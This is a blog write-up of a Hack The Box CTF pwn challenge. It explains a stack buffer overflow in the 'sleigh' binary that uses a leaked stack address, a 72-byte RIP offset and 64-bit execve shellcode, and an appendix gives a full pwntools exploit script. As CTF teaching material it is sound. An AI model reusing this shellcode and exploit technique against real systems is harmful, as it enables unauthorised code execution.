Sunday, December 5, 2021

Hack The Box Cyber Santa CTF - Pwn Day 2 - Sleigh Writeup


Exploitation TechniqueInject 64-bit shellcode using a buffer overflow, then overwrite RIP to jump to the shellcode.  The binary leaks a stack address used to calculate the jump address for the shellcode.

Details:

Challenge File:  pwn_sleigh.zip - Contains the binary "sleigh".

The first thing I do is run a file and checksec on it to see what we're dealing with:

sleigh: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1ad11f3bacb267e6e5667523bca200ab68a1683c, not stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled                   # The stack is executable
    PIE:      PIE enabled                   
    RWX:      Has RWX segments      # Able to inject and execute shellcode on the stack

Running the program produces a menu where if you press "2", the program exits, but pressing "1" gives us an address leak as well as an input textbox.  I ran this a few times on the remote server, and noted the leaked address changes with each run.  As expected, ASLR is usually enabled on the remote side.



Looking at the source code in Ghidra, when we select Option 1, it calls a repair() function:

void repair(void)

{

  fprintf(stdout,"%s\n[!] There is something written underneath the sleigh: [%p]\n\n",&DAT_00100c98, &local_48);        // %p is stack leak

  fprintf(stdout,"%s[*] This might help the repair team to fix it. What shall they do?\n> ", &DAT_00100ca8);

  read(0,&local_48, 164);       // Probable buffer overflow

  fprintf(stdout,"%s\n[-] Unfortunately, the sleigh could not be repaired! 😥\n",&DAT_00100ca0);

  return;

}

The function fprintf() prints the message to the screen(stdout) ending with a %p, which is a C modifier to print out a pointer address.  Based on the message, "There is something written underneath the sleight", the creator of the challenge put that leak there on purpose.  Good for us!

The upcoming read() command takes in 164 bytes of input from the user.  It's not immediately clear from the decompiled code what size the input variable "local_48" can be, but we can hope for a buffer overflow.

Time for some dynamic analysis.  I opened the binary in GDB, disassembled the repair() function, and set a breakpoint at the return address:

gef➤  disas repair
Dump of assembler code for function repair:
                   ...
   0x0000000000000b99 <+205>:   ret    
End of assembler dump.
gef➤  break *repair+205

I ran the program by feeding it 200 A's to see if any of it overwrites RIP, and observed the current frame at the breakpoint with "info frame".  Here's how you feed STDIN in the GDB command line for Python 2.7:

gef➤  r <<< $(python -c 'print "1\n" + "A"*200')
gef➤  info frame
Stack level 0, frame at 0x7fffffffdf68:
 rip = 0x555555400b99 in repair; saved rip = 0x4141414141414141

VERY COOL!  We can overwrite "saved rip", so it'll jump to whatever address we put there.  Next goal, let's figure out exactly how many A's it takes to put some B's in Saved RIP as a placeholder for an arbitrary address later.  Let's swap over to Pwntools so we can dynamically capture the leaked address and make stack calculations based on that address.

You can mess around with the A's manually, but sometimes I find it easier to use "pattern_create" to create and inject a pattern and "pattern_offset" to calculate the offset required to reach RIP:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

I ran Pwntools with GDB attaching to the running binary process:

p = process("./sleigh")
gdb.attach(p, '''
break *repair+205
c
''')

Make sure to always put p.interactive() at the end so the process doesn't exit.  GDB can only attach to the process if it stays alive.  I sent the payload this way and tracked what showed up in "saved rip".  I fed that data into "pattern_offset" to see how many A's we need to inject to reach RIP.

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"

p.sendline(payload)

gef➤  info frame
Stack level 0, frame at 0x7ffdbccd7938:
 rip = 0x56320ce00b99 in repair; saved rip = 0x6341356341346341

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x6341356341346341
[*] Exact match at offset 72

Awesome!  Now we know our payload needs to be:  "A"*72 + "B"*8.  I usually like to add "C"*1000 at the end to see how much more of the buffer we're allowed to use to inject things:

payload = "A"*72 + "B"*8 + "C"*1000

gef➤  info frame
Stack level 0, frame at 0x7fff017d8ac8:
 rip = 0x56070ec00b99 in repair; saved rip = 0x4242424242424242

gef➤  x/50g $rsp
0x7fff017d8ac8: 0x4242424242424242      0x4343434343434343
0x7fff017d8ad8: 0x4343434343434343      0x4343434343434343
0x7fff017d8ae8: 0x4343434343434343      0x4343434343434343
0x7fff017d8af8: 0x4343434343434343      0x4343434343434343
0x7fff017d8b08: 0x4343434343434343      0x4343434343434343
0x7fff017d8b18: 0x4343434343434343      0x0000000043434343

Counting up the C's (0x43's) in the stack, we can inject 84 extra bytes after RIP.  While I'm here, I also took note of the address where the C's started in relation to the leaked address because the C's are where we're going to replace with shellcode:

gef➤  x/x 0x7fff017d8ac8+8
0x7fff017d8ad0: 0x4343434343434343

Leak:  0x7fff017d8a80

Offset:  0x7fff017d8ad0 - 0x7fff017d8a80 = 0x50

It's also important to calculate the difference between this stack address, and the leaked address, and make that offset stays the same between runs.  The addresses will change, but as long as the distance between them stay the same, we can always reach the same buffer location in the stack.  In this case, it DOES stay the same between runs.

Note:  I enable ASLR when I'm doing final testing so I can imitate the remote target as best as possible.
Check ASLR (2 means enabled, 0 means disabled):  cat /proc/sys/kernel/randomize_va_space
Disable ASLR:  echo 0 > /proc/sys/kernel/randomize_va_space
Enable ASLR:  echo 2 > /proc/sys/kernel/randomize_va_space

Note2:  ASLR is disabled when running GDB directly from the command line, so all stack and libc addresses stay the same with each run.  However, if you run GDB from Pwntools, it'll follow the ASLR settings (as set from the commands above). 

As a sanity check, I ran vmmap in GDB to confirm that the stack is executable:

0x00007fff017ba000 0x00007fff017db000 0x0000000000000000 rwx [stack]

Indeed it is!  I searched up "64-bit shellcode" and a few results came up.  I picked this random 27 byte shellcode one from here:  http://shell-storm.org/shellcode/files/shellcode-806.php.  If it doesn't work, I'll just grab another one.  There were plenty to choose from.

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

The final payload to get a shell looks like this:
shellcode_addr = leak_addr + 0x50
payload = "A"*72 + p64(shellcode_addr) + shellcode

We ran it, got a shell, and cat'd the flag.txt file!  Full source code in Appendix below.

HTB{d4sh1nG_thr0ugH_th3_sn0w_1n_4_0n3_h0r53_0p3n_sl31gh!!!}

APPENDIX (Full Exploit Code):
----------------------------------------------------------------------------------------------------------
from pwn import *

local_bin = "./sleigh"
p = remote('138.68.129.154', 32292)
#p = process(local_bin)
#gdb.attach(p, '''
#break *repair+205
#c
#''')
print(p.recvuntil('> ', timeout=1))
p.sendline("1") # Repair
p.recvuntil(': [', timeout=1)
leak = p.recvuntil(']', timeout=1)[2:-1]
print("String leak: '%s'" % leak)
leak_addr = int(leak, 16)
print("Hex Leak Address: %s" % hex(leak_addr))
p.recvuntil('> ', timeout=1)
shellcode_addr = leak_addr + 0x50
print("Shell Addr: %s" % hex(shellcode_addr))
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = "A"*72 + p64(shellcode_addr) + shellcode
p.sendline(payload)

p.interactive()
p.close()
----------------------------------------------------------------------------------------------------------

No comments:

Post a Comment